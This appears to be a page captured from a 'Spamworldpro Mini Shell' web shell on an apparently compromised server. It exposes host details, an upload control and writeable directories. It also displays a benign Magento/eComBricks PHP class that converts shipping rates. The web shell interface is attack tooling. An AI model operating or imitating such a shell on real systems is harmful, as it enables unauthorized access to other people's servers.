Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/Ecombricks/InventoryCatalog/Model/Product/SourceQuote/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/Ecombricks/InventoryCatalog/Model/Product/SourceQuote/ShippingRatesConverter.php
<?php
/**
 * Copyright © eComBricks. All rights reserved.
 * See LICENSE.txt for license details.
 */
namespace Ecombricks\InventoryCatalog\Model\Product\SourceQuote;

/**
 * Product source quote shipping rates converter
 */
class ShippingRatesConverter
{
    
    /**
     * Converter
     * 
     * @var \Magento\Quote\Model\Cart\ShippingMethodConverter
     */
    protected $converter;
    
    /**
     * Constructor
     * 
     * @param \Magento\Quote\Model\Cart\ShippingMethodConverter $converter
     * @return void
     */
    public function __construct(\Magento\Quote\Model\Cart\ShippingMethodConverter $converter)
    {
        $this->converter = $converter;
    }
    
    /**
     * Process
     * 
     * @param \Magento\Quote\Api\Data\CartInterface $quote
     * @return \Ecombricks\InventoryQuote\Api\Data\ShippingMethodInterface[]
     */
    public function process($quote)
    {
        $shippingRates = [];
        if ($quote->isVirtual()) {
            return $shippingRates;
        }
        $groupedShippingRates = $quote->getShippingAddress()->getGroupedAllShippingRates();
        if (empty($groupedShippingRates)) {
            return $shippingRates;
        }
        $quoteCurrencyCode = $quote->getQuoteCurrencyCode();
        foreach ($groupedShippingRates as $sourceShippingRates) {
            foreach ($sourceShippingRates as $carrierShippingRates) {
                foreach ($carrierShippingRates as $shippingRate) {
                    $shippingRates[] = $this->converter->modelToDataObject($shippingRate, $quoteCurrencyCode);
                }
            }
        }
        return $shippingRates;
    }
    
}

Spamworldpro Mini